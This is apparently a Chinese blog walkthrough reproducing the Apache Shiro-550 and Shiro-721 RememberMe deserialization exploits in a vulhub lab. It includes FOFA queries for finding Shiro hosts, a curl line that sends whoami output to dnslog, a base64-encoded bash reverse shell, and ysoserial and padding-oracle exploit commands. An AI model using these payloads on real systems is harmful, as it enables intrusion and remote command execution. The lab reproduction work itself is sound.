shiro漏洞复现

shiro漏洞

Shiro简介

Apache Shiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理, 可用于保护任何应用程序的安全。近年来护网中较多的漏洞。
Shiro提供了应用程序安全性API来执行以下方面:
1)身份验证:证明用户身份,通常称为用户"登录";
2)授权:访问控制;
3)密码术:保护或隐藏数据以防窥视;
4)会话管理:每个用户的时间敏感状态。
上述四个方面也被称为应用程序安全性的四个基石。

shiro历史漏洞

漏洞发现

Shiro组件识别:在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe ,说明使用了 Shiro 组件。

请添加图片描述

或者fofa语法查找:

header="rememberme=deleteMe" header="shiroCookie"

shiro-550漏洞复现

漏洞原因

Apache Shiro 框架提供了记住密码的功能( RememberMe ),用户登录成功后用户信息会经过加密编 码后存储在 cookie 中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对 称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload ,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。

漏洞搭建

进入vulhub启动2016那个靶场。

工具链接 https://github.com/insightglacier/Shiro_exploit
复现过程

1.访问页面,抓包发现是shiro组件,和上面的检验方式一样。

请添加图片描述

2.利用脚本进行检验是否存在默认key的值,发现是kphaaa==

请添加图片描述

请添加图片描述

3.利用脚本去查看是否可以请求到dnslog平台,用curl 请求,带出whoami的结果,发现可以带出root,说明存在对应的漏洞。

python shiro_exploit.py -u http://target/ -t 3 -p "curl `whoami`.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="

请添加图片描述

请添加图片描述

4.对反弹的shell命令进行base编码,然后通过ysoserial中的JRMP监听模块监听11111端口,并执行反弹shell。

//编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjE=}|{base64,-d}|{bash,-i}

//命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjE=}|{base64,-d}|{bash,-i}"

请添加图片描述

5.执行shiro.py脚本生成cookie,在shiro.py脚本中要修改key的值为自己爆破出来的Key值。

python2 shiro.py 192.168.3.18

请添加图片描述

请添加图片描述

6.然后用Bp随意抓登陆包,把cookie放上去发送,监听9999端口,会反弹回来shell。

请添加图片描述

请添加图片描述

7.也可以直接在shiro_exp的脚本中直接反弹shell。

python shiro_exploit.py -u http://192.168.42.132:8080/doLogin -t 3 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjE=}|{base64,-d}|{bash,-i}" -k "kPH+bIxk5D2deZiIxcaaaA=="

请添加图片描述

shiro-721漏洞复现

漏洞原因

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通 过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序 列化攻击,最终导致任意代码执行。但这个漏洞需要登录成功,获取到remember cookie 才可以利用。

复现过程

1.访问靶场,点击登录,勾选记住密码,使用bp抓包,查看登录成功返回的remember cookie值。

请添加图片描述

请添加图片描述

2.利用dnslog 获取域名,用ysoserial工具生成payload。

java -jar ysoserial.jar CommonsBeanutils1 "ping xtevgi.dnslog.cn" > payload.class

请添加图片描述

请添加图片描述

3.利用脚本进行padding oracle attack,生成恶意的rememberme cookie,但是爆破的时间很长,大概需要几个小时。最后查看dnslog平台,发现会请求到。

python2 shiro_exp.py http://192.168.42.132:7777/ Ghj+9Zi5WrngZfhD5SPOvkVXYZJuPSxWNl7Tq2GHouXA1j6Uyw2NzTX6pAj46hUomHFmSuM8qoX2/qQIpV7pRdw5lc8c5lV4bkiIPJnQ1sAHJzM85IWsL3BOEU6xWVd5kcIsD0HHSiD+a+NhXi6xw0ocpVu28muReuoBKZAcaNhnTI8r6uXDgueAWFWpHSL0TlYMkawIogG7cfx7TOSPgaaOOQSgTkeQgBJPlpeB+5V87yyrMvoRlB3drWhy7wLBRPN/7ySXzJTxre0C2FNeSmAG7D9LoPXJFhRAHcX3m0oUo6akgSZj23FM7y30b7qLurcDgv9+DT6swRj0hzvgIBotjWG/Qq1L1EiBcvMeipwDU2/m6hp5lCp6dRPPjpDIMvsPeR18rElIyo6La+X1dLBKIaHSmMhDHpWHQjjwdMZINQNRE20gP2XWj2AmMIvqILUKI/K5keCjsLOinUy8zZ5EQQHMHIR8y6IWWO6wqYF6/VNC0qSQHNb0xPl08rXp payload.class

爆破几个小时得出来的cookie请添加图片描述

4.重新访问靶场,用bp抓包,把爆破到的cookie放到立马进行重放,发现dnslog会被请求到,说明被访问了,按照这种方式可以构造其他恶意请求进行攻击。

在这里插入图片描述
总结:721漏洞攻击的话太鸡肋,手工过程太复杂。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值